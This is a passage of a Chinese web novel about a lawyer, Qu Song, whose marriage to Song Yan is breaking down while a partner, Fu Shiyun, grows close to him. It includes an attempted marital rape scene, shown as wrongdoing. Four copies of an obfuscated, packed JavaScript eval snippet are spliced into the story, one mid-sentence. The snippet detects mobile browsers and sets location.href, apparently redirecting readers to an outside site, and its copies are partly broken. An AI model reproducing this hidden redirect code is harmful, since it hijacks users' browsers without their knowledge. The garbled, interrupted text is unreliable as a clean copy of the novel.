那天晚上曲颂加班半夜从律所回到家,看到挂衣架掉了,衣服堆在地上,只是将坏掉的挂衣架丢进垃圾桶,衣服拿进卧室,后面不适应几天后也慢慢习惯了。 宋琰也提过几次玄关没挂衣架不方便,外套没地儿放,但也只是提过而已。 曲颂将傅识云的大衣叠好放到沙发扶手上,给他剥了个橘子:“吃水果。” 傅识云接过来:“谢谢。” “别忘了沏点茶!”厨房里传出张小梅的叮嘱。 听到此话的傅识云出声制止:“不用忙,我不渴。” 曲颂想了想:“傅总喜欢喝咖啡吗?让你尝尝我的手艺。” 傅识云感兴趣地挑了挑眉:“看来我今天有双份口福了。” 曲颂起身往厨房走,身后,傅识云转头看了眼沙发柜上的合照,站起来跟上。 见曲颂走到咖啡机前开始捣鼓,张小梅边炒菜边道:“我是喝不惯你们年轻人爱喝的东西,苦药汤子似的。” 曲颂:“咖啡很好喝的,越品越香。我第一次喝咖啡是在高中,为了提神喝的,一下就喜欢上了。” 一旁的傅识云盯着曲颂骨节分明的手,只觉得赏心悦目,咖啡不咖啡的倒是没那么重要了。 曲颂做的是拿铁,打好奶泡后转头问傅识云:“拉花要什么样的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779591|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅识云面露惊讶:“还有这技术?” “那当然。”曲颂语气轻快,“我要是不做律师,当个咖啡师也能混得不错。” 傅识云选了个最常见的形状,夹杂着无法言说的私心:“爱心吧。” “没问题,给你拉个好看的。”曲颂说着低下头开始拉花,手腕均匀晃动,层层堆叠的爱心完美覆盖在咖啡液上。 傅识云喝了一口后,冲曲颂竖了竖大拇指:“真的可以开咖啡店了,我一定第一个捧场!” 曲颂很是受用地笑了出来。 曲颂现在的饮食还没完全恢复正常,只能吃一些好消化的,所以肉类只能交给傅识云消灭。 张小梅一个劲儿给傅识云夹菜:“这些菜小颂都吃不了,你多吃些,别客气。” 傅识云照单全收,每吃一道菜都要夸上几句,还不带重样的,将张小梅哄的合不拢嘴。 吃完饭,傅识云又坐了十几分钟才起身告辞。曲颂也跟着站起来:“我送你下楼。” 傅识云没拒绝,两人一起出了门。 曲颂忍不住感慨:“我妈好久没这么高兴了,你今天是把她哄开心了。” 来到电梯口,傅识云按了下按钮:“我妈妈在我十岁那年去世了,我见到伯母觉得格外亲切。” 接着又极为认真地问:“你不会介意吧?” 曲颂愣住,没想到是这样。一般这种话题都不好接茬,但对方的最后一句话让曲颂轻松接上话茬,不至于尬在原地:“怎么会。笑一笑十年少,我高兴还来不及呢。” 电梯门打开,傅识云抬脚进去,曲颂随后。如此一来傅识云自然而然就站在了曲颂身后,看着他修长匀称的背影,一股怅然若失的滋味涌上心头。 “曲律师。”低沉的声音回荡在电梯里。 曲颂回头,不解地“嗯?”了声。 “之前说好的那顿饭还作数吗?” 曲颂爽快道:“当然作数。这顿饭算我妈对你的答谢,下顿才算我的。” 傅识云心情瞬间好了很多:“也不急,等你身体完全好了。” 曲颂点点头:“好。” 说话间,电梯已经到了一层。电梯门打开,宋琰身穿白色冲锋衣站在楼梯口,看到电梯里的人,收住了抬脚的动作。 曲颂眼里闪过意外,面色平静地出了电梯,傅识云紧随其后。 宋琰看了眼傅识云,恰巧对方也在看他。视线对上的瞬间,宋琰有种被比下去的感觉,没好气道:“家里来客人也不跟我说一声。” 宋琰自己心情不好,其他人也要跟着遭殃的毛病曲颂已经领教过很多次了。当着外人的面,曲颂不想弄的太难看,正要解释,傅识云抢先一步开口,语气不疾不徐:“我叫傅识云,是律所的合伙人,今天过来吃顿便饭。” 至于吃便饭的原因,傅识云没言明,这是他和曲颂之间的事,与其他人无关。曲颂要解释就解释,他不会。 宋琰冷哼了声,完全没把傅识云放在眼里。 这种让人下不来台的行为让曲颂怒从心起,傅识云反倒没在意,侧身冲曲颂道:“就送到这儿吧。放心,我肯定迷不了路。” 如此大度的行为更加加重了曲颂心里的羞愧,冲对方露出一个满含歉意的笑容:“好。再见。” “再见。”话落,傅识云越过宋琰径直离开,连个多余的眼神都没给。 如果没有曲颂,再过八百年宋琰也进不了傅识云的视线。 8. 强迫 楼上有人用电梯,电梯自动关闭上行。曲颂和宋琰面对面站在电梯口两侧。一步之隔,仿若天堑。 没赶上电梯,宋琰泄愤似的用力戳了下电梯按钮,完全没有理会曲颂的打算。在宋琰的认知里,从来都是曲颂上赶着来求和,他只需等着就好。 放在以前,曲颂的确会这么做,先妥协的人总会习惯妥协,但现在不会了。磨合必定会有阵痛,但既然决定开始,达到目的前他绝不会停止。毕竟他们还有很长的余生。 电梯下到负一层又上来,曲颂一语不发地走进去,按了楼层后放下手,不再像以前那样按着开门键,耐心等宋琰进来。 这种日常的细微小事宋琰从来都不放在心上,类似的还有熨好的衣服、做好的早饭……在宋琰的人生里,生来就有人为他做这些,没什么大不了。 他习惯了享受,忽略了这些琐事之下的曲颂隐秘而无声的爱。 电梯门开始关闭。 宋琰双眼注视着曲颂,对方无动于衷的样子是从未有过的陌生。赶在彻底关闭的前一秒,宋琰上前一步,直接用手扒开了电梯门。 如此危险的动作让曲颂心里一惊,面上仍旧不显。 电梯一层一层地爬升,闭塞而安静。终于到了十三层,门开的瞬间曲颂便走了出去。 看到跟在曲颂身后走进来的宋琰,张小梅满脸欣喜:“小琰回来了,吃饭了吗?没吃我去做。” 见到张小梅,宋琰意外之余脸色缓和了几分:“吃过了。” 曲颂:“妈,时间不早了,您去休息吧。” 张小梅点了点头:“你俩也早点休息。” 说完转身回了房间。 曲颂径直走到沙发前坐下,打开电视。眼睛盯着屏幕,实则什么也没看进去。 以前每次吵架,不理人是宋琰专属。曲颂不知道每当这时宋琰的感受如何,他是坐立难安的,这种被动的等待让他非常不习惯。 宋琰受不了曲颂冷若冰霜的态度,几步走过去,挡在电视和曲颂中间,整个人仿佛笼子里的猛兽,处在暴怒的边缘:“我回来不是看你摆脸子的!” 曲颂双腿交叠坐在沙发上,面对居高临下的宋琰,气势丝毫不输,反而有种说不出的掌控感。缓缓开口:“我没让你回来。如果你觉得回这个家很委屈,可以不用回。” “你这话什么意思?!”宋琰彻底怒了,也不管还有长辈在,大声咆哮,“你赶我走!你竟然赶我走?!” 曲颂情绪仍旧很平静。如果可以,他也想和宋琰那样不管不顾的发泄情绪,但这么做解决不了问题。耐着性子道:“你说我摆脸子,可我不过是做了你做过的事而已,才一次你就受不了了吗?” “我做什么了?”宋琰不仅没有反思,反而责怪起曲颂来,“你不要没事找事!” 曲颂声调也提高了些:“宋琰你扪心自问,在一起这么多年你有做过一丁点的改变吗?全都是我在迁就你!” 宋琰理直气壮:“我凭什么要改?我让你迁就我了?别说的好像我逼你一样,还不是你自己乐意!” 最后这句话直接将曲颂的心凿了个口子,他自嘲地笑了两声:“说得对,是我自己乐意。所以从现在开始,我不乐意了!” 宋琰觉得自己好像失去了什么东西,却又快的抓不住,气冲冲扔下一句:“随便你!”转身往门口走去。 曲颂靠在沙发上,手臂抵着额头,听到“砰!”的关门声,整个人是前所未有的疲倦。 做任何事都需要动力,哪怕是吃口饭、喝口水,如果失去了求生的动力,也是极难坚持下去的。妥协也好,磨合也好,驱使曲颂去做的归根结底不过一个“爱”字。不仅是他对宋琰的爱,还有宋琰对他的。 然而不知从何时起,这条名为“爱”的河流,似乎开始干涸了。 在沙发上坐了几分钟,曲颂调整好情绪,故作轻松地打开次卧门,看到满脸担忧的张小梅,心里一阵内疚,准备了一肚子的话梗在喉咙里,像个做错事的孩子,干巴巴站在门口。 张小梅什么责怪的话都没说,拍拍床,语气慈爱:“过来坐。” 曲颂走过去坐到张小梅身边,看到妈妈鬓边的白发,突然有种想哭的冲动:“都有白头发了,怎么不染染,显年轻。” “染了也会长出来,过不了多久又得染,不够麻烦的。”张小梅语气洒脱,“白发有白发的美,能白发苍苍,也是上天的馈赠。” 曲颂笑了笑:“明天我带您去我的律所看看,前段时间刚搬完,可宽敞了。” 张小梅欣然答应:“好啊。” 隔了两秒又问:“小琰走了?” 曲颂“嗯”了声。 张小梅语重心长道:“小琰家境好,又是独生,从小肯定是被家里人放在掌心里宠着,要什么有什么,性子免不了任性些。人无完人,过日子就是要多念着对方的好,这样才能长久。百年修得同船渡,千年修得共枕眠,你俩走到今天不容易,好好珍惜。” 曲颂点了点头:“您放心吧,只要他不犯浑,我肯定不会放弃的。” 完整的婚姻是曲颂的执念,这份执念根植于幼年的伤痛——要么就不结婚,结了就要走到最后。 从次卧出来,曲颂回了房间,洗漱完躺在床上看手机,快凌晨一点才有了睡意,半睡半醒间感觉到有什么东西压在了身上。 曲颂睁开眼,黑暗中只能看到大致轮廓,熟悉的气息让他一秒认出宋琰,惊慌感顷刻消散,刚要开口嘴唇便被堵住。 宋琰发狠地吻着曲颂,不带任何怜惜和感情,像是在惩罚不听话的所有物。 嘴唇被蹂--躏得发疼,连带着心也跟着疼了起来。 曲颂用力咬了一口宋琰的嘴唇,趁他吃痛松开的间隙从床上坐起来,后背紧贴住床头,声音颤抖而愤怒:“我不是你发泄的工具!” 宋琰死死盯着曲颂,难以置信:“你不让我碰?!” “不让!给我滚!”曲颂打开床头灯,抬手指着门,眼里是化不开的失望和受伤。橘色灯光笼罩在他周身,反倒更显孤单。 在宋琰眼里,他现在恐怕都赶不上一个贵的充--气--娃娃,没有一点珍惜和爱意。 从小到大,凡是宋琰想要的就没有得不到的,曲颂的拒绝让他瞬间失去理智,上前一步,猛地抓住曲颂的脚腕,将他拖了过来。 曲颂被拽的失去平衡,摔在了床上。宋琰趁机扣住曲颂的手腕按过头顶,同时低头去吻他。 曲颂偏头躲开宋琰的吻,嘴巴紧紧抿成一条线,也不吭声,沉默又倔强地挣扎着,眼眶却渐渐湿润了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779592|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卧室里只有两人越发粗重的喘息声。 手腕被攥得生疼,钻心似的疼。终于,曲颂瞅准机会,抬脚踢在了宋琰肚子上。 宋琰没有防备,“噗通”一声摔到地上。 曲颂压下眼里的泪水,冷声道:“你再敢强迫我一次,我就告你婚内强--奸!” 宋琰冷笑了声,从地上站起来,出言威胁:“你今天不让我碰,我就去找别人!我说到做到!” 宋琰本想通过这句话让曲颂服软,却小看了曲颂的傲骨。他可以低头求和,但不能被侮辱。 曲颂看着宋琰,在一起八年,面前的人从来没让他觉得如此陌生过,竟连出轨这种话都说得出口。 “你敢做我们就离婚,我也说到做到。”曲颂毫不示弱,眼睛里满是决然,“我如果做不到,就不得好死!” 宋琰被最后这句话震惊的愣在原地,意识到自己说错了话。不过他向来高傲惯了,从不会低头服软,只是一语不发地转身离开,去了其他房间。 卧室里只剩下曲颂自己,一动不动呆坐良久后,曲颂动作机械地整理好被宋琰扯乱的睡衣,侧躺在床上,双手抱肩,身体缩成一团,无声的泪水顺着眼尾滑落到枕头上。 次日早上,曲颂从房间出来,张小梅正在厨房忙活,并未见到宋琰的身影,显然已经不在家了。 就这样一走了之,连句道歉的话也没有,宋琰的字典里,大概是没有“对不起”这三个字的。 曲颂藏好心里的失落,装成没事人似的进了厨房:“做什么好吃的?” 张小梅笑意盈盈道:“昨天买了只小笨鸡,给你熬汤喝。” 吃过早饭,曲颂带张小梅去了律所。正好许天和在,大摇大摆取代了曲颂的位置:“你去办公室休息,我带伯母参观。” 曲颂恭敬不如从命,乖乖回了办公室。 许天和领着张小梅将律所仔仔细细逛了一圈,边逛边介绍,最后回到了曲颂的办公室。 张小梅满脸骄傲:“这可比上个地方宽敞太多了,你们俩辛苦了。” 两个出身普通的人奋斗到如今的位置,其中艰辛只有自己清楚。 许天和:“人往高处走,以后肯定会越来越好!” 等曲颂身体恢复差不多了,张小梅便准备动身回老家。 曲颂想留她再多待些日子,张小梅拒绝了:“你身体好了妈就放心了,不在这儿给你添麻烦。” 曲颂一脸不赞同:“有什么麻烦的,我巴不得每天都能看见您。” 张小梅压下心里的不舍,开玩笑道:“等以后我七老八十了,你想看不见都不行。” 曲颂知道留不住,开车送张小梅到高铁站,叮嘱道:“别太节省了,该花就花,我现在有钱了,不用再过苦日子了。还有每月一次的体检必须坚持,能预防疾病。” 张小梅一一应下。 临别前,张小梅认真道:“别委屈了自己,只要不违法,你做任何决定妈都无条件支持。” 这段时间张小梅看清了很多事情,作为长辈很多话不能说,不然只会加剧矛盾。但对张小梅来说,自己孩子的感受永远是最重要的。 听明白的曲颂心里一阵感动,态度坚定:“您放心,我努力打拼到今天的位置,就是为了不受委屈。” 9. 捅破 张小梅回老家没几天,便是老爷子的七十三岁大寿。想起之前听到的话,曲颂忽然失去了祝寿的欲望。不过他到底还是没这么做,准备好寿礼,在寿辰当天驱车前往宋家祖宅。 寿宴设在晚上,曲颂刻意避开,上午去的,计划着送完贺礼就找借口离开。人贵自知,既然对方不是真心相待,他也没必要非得懒着。 老爷子以年纪大了喜欢清净为由,让子女们都搬出了祖宅。简单点说,谁将来能住进里面,谁就是长恒医药的当家人。 曲颂到时,客厅里聚了一堆人,都是和宋家沾亲带故的亲戚,热络的聊天因为他的到来而中断。面对齐刷刷投过来的视线,曲颂不慌不忙将寿礼交给保姆:“给老爷子的寿礼,劳烦转交。” 保姆接过来,见曲颂站在门口不动,笑盈盈道:“进来喝杯茶吧。” 曲颂犹豫几秒,换好鞋走了进去。 陈玉婷也在,坐在沙发正中央,一副当家主母的气势。见曲颂进来,不冷不热说了句:“来了。” 没等曲颂开口,一道女声插了进来,语气里满是犯难:“我该怎么称呼啊?叫嫂子好像不合适呢。” 找不准怎么称呼最好的选择是闭嘴,故意说出来,摆明了是想让曲颂难堪。他一个大男人被叫嫂子,何止是不合适。 曲颂转头看向说话的人,注意到她紧身裙下微微隆起的小腹,猜出了对方的身份,微微一笑:“确实不合适,毕竟结了婚才算一家人。叫我曲律师就好,或者按年龄叫哥也可以。” 此话一出,女生脸色登时难看了几分,偏偏又没法反驳,只能哑巴吃黄莲。 笑容转移到了陈玉婷脸上,正好这时保姆端着茶走过来,冲曲颂道:“坐下喝茶吧,小琰出去买老爷子过寿穿的衣服了,之前那些老爷子没看上。” 曲颂自然听得出来最后两句不是冲他说的,没搭话,坐下安静喝了口茶。 茶刚喝了两口,一楼的书房门打开,精神矍铄的老爷子站在书房门口,完全不像已过七十的人,冲曲颂招了招手:“来陪我下盘棋,咱爷俩好久没对弈了。” 曲颂的棋艺启蒙于小学时代。那时候张小梅一天打两份工,每天忙到凌晨才回来,曲颂只能一个人在家。对门住着位退休的小老头,热心肠,说话风趣幽默,经常叫曲颂去家里玩。小老头酷爱下棋,曲颂自然也就成了他的关门弟子。 曲颂读大二的那年冬天,小老头寿终正寝,享年八十四岁。小老头离世的前一天,曲颂陪他下了一整天的棋,也算不留遗憾。 只是人跟人不一样,曲颂没法在老爷子身上找到那份幼时的亲昵感,对弈过程安静而严肃。 被曲颂四两拨千斤吃掉一个“車”后,老爷子眼里闪过赞赏:“你这象棋是跟谁学的?” 曲颂眼睛盯着棋盘:“小时候跟邻居学的。” 一个多小时后,棋局结束,曲颂赢了。 “不服老不行啊,思维跟不上了。”老爷子感慨道,“人一上了年纪,什么事都懒得做,就想享享天伦之乐。” 曲颂低头默默整理棋盘,将每颗象棋都摆回原来的位置,一场激烈的厮杀好似没存在过。 整理完,曲颂抬起头,眼睛里盛着窗外投进来的阳光而变得更加明亮,像质地上乘的宝石,漂亮极了:“斗胆提个要求,当是赢棋的奖励。” 老爷子没立刻答应:“说说看。” “离婚的事,让宋琰亲自跟我提。”曲颂洞若观火,态度坚定,“我们俩在一起这么多年,感情上的事我不想其他任何人插手。只要他提,我绝不犹豫。” 曲颂捅破了窗户纸,又为彼此留足了体面,没把话说绝。 老爷子沉默良久,并未表态:“你出去吧。” 曲颂起身出了书房。 既已决定不参加寿宴,曲颂也没多留,去了趟洗手间正准备离开,门外的声音让他停住开门的动作:“老不死的攥着股份不松手,不就是想留给宋琰么。心偏的没边了!幸亏宋琰没孩子,不然这祖宅早住进来了!” 说话之人是个女的,声音很陌生,曲颂对不上号,但下一道声音他就比较熟悉了,不久前刚怼过:“我怀的是男孩,等孩子生下来,不怕爷爷不喜欢。” 女人骄傲地哼笑了声:“还是你争气。要我说宋琰的脑子真是让浆糊糊住了,跟个男的结婚,别说孩子了,蛋都生不了!” 听到此话的曲颂好笑地想:我又不是鸟,生什么蛋。 从和宋琰在一起的第一天起,曲颂就做好了这辈子没孩子的准备。只是不知道当初那个毫不犹豫为他挡刀的人,能不能扛过现实和家人的压力。 - 开车回家的路上经过一家火锅店,曲颂忽然想起还欠着一顿饭。择日不如撞日,下午的时候,曲颂给傅识云发消息:【晚上有空吗?请你吃火锅。】 对方回的很快:【好啊。去哪儿吃?】 曲颂将火锅店名字和详细地址发了过去:【七点可以吗?】 傅识云:【当然可以,不见不散。】 曲颂提前二十分钟到了火锅店,刚找位置坐下,一抬头,傅识云已经进来了,发现曲颂后,迈开长腿径直朝他走了过来。 曲颂冲他笑了笑:“刚想给你发定位呢。” 傅识云坐下:“不难找,跟着导航就来了。” 事实是傅识云不到六点就来了,一直待在附近咖啡厅里,见曲颂到了才露面。 在傅识云的坚持下,两人要了个鸳鸯锅,一边微辣一边清汤。清汤是给曲颂准备的,傅识云担心他的手术刀口,拒绝让他吃刺激性食物。 曲颂自然不能拂了这份好意,只不过身在曹营心在汉,趁傅识云低头吃东西的功夫用筷子去偷微辣锅里的东西吃。 傅识云睁一只眼闭一只眼,只是默默减缓了往辣锅里放食物的频率。 吃到一半,手机进来通电话,傅识云接起来,言简意赅地交代:“你替我去,带好寿礼,就说我抽不开身。” 听到“寿礼”两个字,曲颂心里有了猜测:“是不是宋琰爷爷的寿宴?” 傅识云挂掉电话,用公筷夹起些牛肉放进辣锅里,又帮曲颂也煮了些,点头道:“我向来不喜欢这些场合,能躲就躲。不过认真算起来,我们两家也算得上世交了。” 曲颂顿时来了兴趣,眼睛不自觉睁大,一副洗耳恭听的架势。 傅识云眼底闪过笑意:“当年长恒出现了经济危机,濒临破产,宋老爷子找到了我爷爷,我爷爷力排众议向长恒注资,算是扶大厦于将倾了。后来等长恒发展稳定后,我爷爷又将股份卖了回去。一来二去两家就来往密切了。” 第一次知道此事的曲颂惊讶又新奇:“这么说你和宋琰很熟了?” “不熟。世交只是上两辈子人的事,跟我没多大关系。”傅识云毫不犹豫否认,随即又笑着调侃道,“不然我们也不会认识的这么晚。” 话到此处,傅识云不由想起了一个细节。五年前,爷爷随口跟他说了句“老宋的孙子娶了个男人”,当时的傅识云压根没放在心上,听听就过了。 如今想来,那是曲颂第一次出现在他的生命中。像一片洁白的羽毛,飘飘荡荡,最终落在了他心上。 听到这话的曲颂不禁失笑:“说得也对。” 曲颂眼睛瞄着辣锅里的牛肉,想趁傅识云不注意再偷一筷子,一个女生走到桌边,拿着手机,大大方方冲傅识云道:“帅哥,能加个微信吗?” 曲颂趁傅识云分神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779593|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空档成功偷到牛肉,正低头吹凉,听到傅识云委婉拒绝:“微信可以给你,但我们不会有进一步的发展,所以还是不了吧。” “你有女朋友了?” “没有。” 女生不服气:“那为什么不能有进一步发展?” 傅识云顿了顿,余光不自觉瞄向曲颂又赶紧收回来:“性别不对。” 曲颂猛地抬起头,见女生同样是一脸震惊,看看傅识云又看看他,而后像是明白了什么似的转身走了。 曲颂:“……” 这事闹的多少有点尴尬,好在曲颂反应迅速,笑着揶揄:“你这是拿我当挡箭牌了啊。” “没有,我没想到她会误会。”傅识云面露歉意,“抱歉,希望没给你造成困扰。” 曲颂反应过来对方是认真的,连忙摇了摇头:“不会,我刚刚是开玩笑。” “那就好。”傅识云松了口气,随即开始主动交代,“我是天生的。大学时谈过一个,分了。后面又谈了两段,也分了。最近这两年没谈了。” 面对对方突如其来的感情史,曲颂愣了下,随口问了句:“是因为工作太忙吗?” 对于傅识云是同性恋这件事,曲颂震惊过后很快就接受了——他自己本身就是,没什么好大惊小怪的。 但实话实说,在此之前曲颂真的完全没往这方面想,毕竟也不能见到一个人就揣测人家是同性恋。 傅识云没否认,视线飞快掠过曲颂无名指上的戒指:“主要是没遇到合适的。” “懂。”曲颂表示理解,“眼光高。” “你呢?”傅识云笑了笑,并未解释,“跟他是初恋吗?” 傅识云已经先说了自己的情况,因此对于这个问题曲颂没觉得冒犯,加上这段时间积压在心里的情绪,让他不自觉打开了话匣子:“是。我是在长恒工作时跟宋琰认识的,那时候他才二十,还在读大学,也不管我喜不喜欢男生,上来就是一通猛追,让人招架不住。” 曲颂边说边回忆,脸上不自觉浮现出笑意:“再后来我和朋友合开了事务所,律师这行容易得罪人,很多时候被记恨上了都不知道。他替我挡了一刀,命差点没了。” 傅识云深邃的双眸注视着曲颂,看着他的表情随着回忆发生细微的改变,一颗心也被牵动着。 “他父母本来非常反对我们在一起,因为这件事也同意了。谈了三年恋爱,领证结婚,一直到现在。” 那年曲颂二十八,如今五年过去,宋琰也到了他当年的年纪。 曲颂眼中的情绪复杂而沉重,没再往深了聊。饶是他再能言善辩,也讲不清八年感情里的对错、得失、好坏。 傅识云迁就着曲颂的感受,不动声色换了个话题:“公司合作的律所快要到期了,目前正在物色新的律所。” 公司有法务部负责日常工作,不过面对一些重大纠纷时,还是需要更专业、更权威的团队。傅识云成为律所合伙人,除了私心外,也有工作方面的考虑。 提到工作,曲颂顿时来了精神,眼睛都放光了,毛遂自荐:“颂和目前已经和七家公司达成了长期、深度合作,服务费几十万到几百万不等。如果启跃选择颂和,我可以保证,颂和一定不会让贵公司失望!” 对方既然当着他的面说了这话,就表明有合作意向,送上门的机会岂有不抓住之理。 傅识云痛快道:“那就这么说定了,具体事宜找机会详谈。” 曲颂点头:“好。” 吃完火锅,结了账,两人来到外面。 曲颂满脑子都是合作的事,整个人乐开了花:“这顿火锅吃的太值了!” 看到他满血复活,傅识云心情也跟着好了:“我也这么觉得。” 10. 隐瞒 结束了无聊冗长的交际,宋琰找了处僻静角落坐下,打开手机,微信置顶仍旧是一片死寂。 已经二十多天了,曲颂一条消息都没给他发,电话更是没有。以前每次吵架,宋琰都胸有成竹,唯独这次没了底。 这是曲颂第一次晾他这么久,像是铁了心要冷战到底。 宋琰犹豫了一会儿,纡尊降贵地主动发了条消息:【为什么没来寿宴?】 ——这样曲颂就有借口回他消息了。 做错事要道歉的道理幼儿园小朋友都懂,但宋琰不懂。或者说是不屑,因为在他二十八年众星捧月的生命中,从没为任何人低过头。曲颂也不能成为那个例外。 宋琰国外名牌大学毕业,头脑精明,他并没有被家里宠成一个不学无术的二世祖,但自幼唯我独尊的生长环境造就了他如今的性格——极度自我、脸面大于天。 消息石沉大海,没有丝毫回应。宋琰表情逐渐变得不耐烦,最后用力按灭手机,有本事一辈子都别回! 一股馥郁的香水味飘入鼻腔,宋琰抬头,味道是从一个男人身上发出来的。此刻他正举着红酒杯站在自己面前,黑色半透明蕾丝西装下掩映着一截儿细腰,眼睛是毫不掩饰的兴趣。 “我能坐这儿吗?” 宋琰没吭声,只是安静打量着他。 接收到默许的信号,对方直接坐到宋琰身边,自报家门:“我叫林畔,河畔的畔。早就听说宋老爷子的长孙仪表堂堂,今日一见果然名不虚传,帅的我腿都软了。” ——边说视线边缓缓向下,最后落到某个不可言说的地方,仔细打量着。 对于他的挑--逗行为,宋琰并未理会:“你怎么进来的?” 寿宴没有请帖进不来,这人不像是能收到请帖的。 林畔大方承认:“当然是跟着金--主一起来的,不然以我的身份,哪有机会见到宋少啊。” 宋琰见怪不怪:“不陪金--主,缠着我做什么?” “那当然是想换一个更年轻、更厉害的金--主了。”林畔将红酒杯举到宋琰面前,杯口沾着他的唇印,“这酒可好喝了,宋少尝尝。” 宋琰低头睨了眼酒杯,不为所动。 林畔手故意一歪,杯子里的红酒洒到宋琰西装前襟上,随即惊呼一声:“对不起宋少,没拿稳,我给你擦擦。” 宋琰睨了林畔一眼,没等他动手,起身往洗手间走去。林畔将酒杯放到一旁,抬脚跟上。 不远处将一切都看在眼里的宋远山收回目光,继续同宾客交际。 进了洗手间,宋琰脱掉西装,红酒洒的不多,只打湿了西装,并未弄脏衬衫。正要将西装丢掉,一只手先一步抢了过来。 林畔抱着宋琰的西装外套:“不要的话给我吧。” “好啊,送你了。” “我还想要一个东西。”林畔说着拿出手机,点开自己的微信名片,“不知宋少愿不愿意给?” 宋琰扫了眼:“我要是不给呢?” 林畔后退几步,堵住洗手间的门,半是撒娇半是威胁:“那我就不让你走了。” 林畔站在走廊里,看着宋琰离开的背影,将备注改为[猎物],接着点开名为[老板]的联系人:【宋总,劳烦准备好尾款,一个月之内保准完成任务。】 做完这一切,林畔按灭手机,唇角勾起一抹嘲讽又志在必得的笑。男人个个都是姜太公,不拒绝不主动,享受被追捧的滋味,等哪天腻了,再心安理得扔下一句是你上赶的。 寿宴结束已将近十一点,送别宾客后,宋琰便住在了祖宅。洗完澡出来,宋琰打开手机,微信里有一条消息。 林畔:【[图片]】 林畔:【好看吗宋少?】 照片中的林畔站在落地镜前举着手机自拍,身上穿着宋琰的西装外套,外套下摆堪堪遮住大腿根,往下是两条细白修长的大腿和赤裸的双脚。 面对如此直白的性--暗示,宋琰没有采取任何行动,看了几秒照片后就退出了微信,心里因曲颂不回消息而产生的烦闷消散了不少。 - 翌日,曲颂去了律所,告诉了许天和即将要和启跃合作的事。 许天和听完同样一脸兴奋:“吃顿火锅就拿下这么大的合作,可以啊你!” 曲颂:“我估计他成为律所合伙人也有这方面的考虑。” “肯定的。跟其他律所比起来,肯定是颂和用着更放心。”许天和忽然想起来,“对了,赵老师的请柬你收到了吧。” 曲颂点头:“收到了。” 赵老师是两人大学时的专业课老师,在律所成立初期提供了不少帮助:帮忙宣传、介绍客户……月底他女儿结婚,说什么都得去。 许天和语气幽怨:“比我小的都结婚了,简直岂有此理!” 曲颂忍不住问:“你和追你尾的女生没联系了?” “也不算没有吧。上次吃完饭我把她送回家,她偶尔给我发条消息,我也都回了。其他的就没有了。” “……”曲颂顿了顿:“你的意思是,都是人家女生主动给你发消息?” 许天和理直气壮:“对啊。我主动发消息不成性--骚扰了。” 曲颂:“……” “行,那你继续吧。”曲颂无话可说,“再过段时间人家就彻底不理你了。” 许天和听出不对,一把抓住曲颂的胳膊,眼神殷切:“我下半辈子的幸福就全靠你了!” 曲颂挑眉:“真想知道?” 许天和小鸡啄米点头:“真的不能再真了!” “那这个月的咖啡……” 许天和一打响指:“包在我身上!一天三杯你最爱的拿铁!” 曲颂:“主动给你发消息,很明显是在试探你的态度,看你对她有没有那方面的意思。结果你可倒好,给你发消息你就理,不发就不理。换你你会怎么想?” 许天和恍然大悟:“那怎么办啊,她都一周没给我发消息了!你快帮我想想办法!我太奶前不久给我托梦了,说是再脱不了单就给我带走!” 曲颂笑出声,朝许天和伸出手:“聊天记录先给我看看。” 许天和连忙找出聊天记录,曲颂都没往上滑,第一页聊天记录就给他气笑了。 最近的聊天记录里,女生说最近有一部电影要上映,主演是她喜欢的明星。这意思够明显了吧,结果许天和回了句“我不追星,不认识你说的人”,直接终结聊天。 要不是深知许天和钢铁直男的性格,曲颂都要怀疑他对人家确实没想法。 “这句话的意思你没品出来?”曲颂指着聊天记录问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779594|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许天和语气真诚:“不是在跟我聊明星吗?” “是想让你邀请她看电影!”曲颂好笑又心累地解释,“话已经说道这份上了,你都不邀请,人家可不是觉得没戏不理你了。” 许天和像霜打的茄子,失去了所有力气和手段:“那我现在是不是彻底没戏了。” 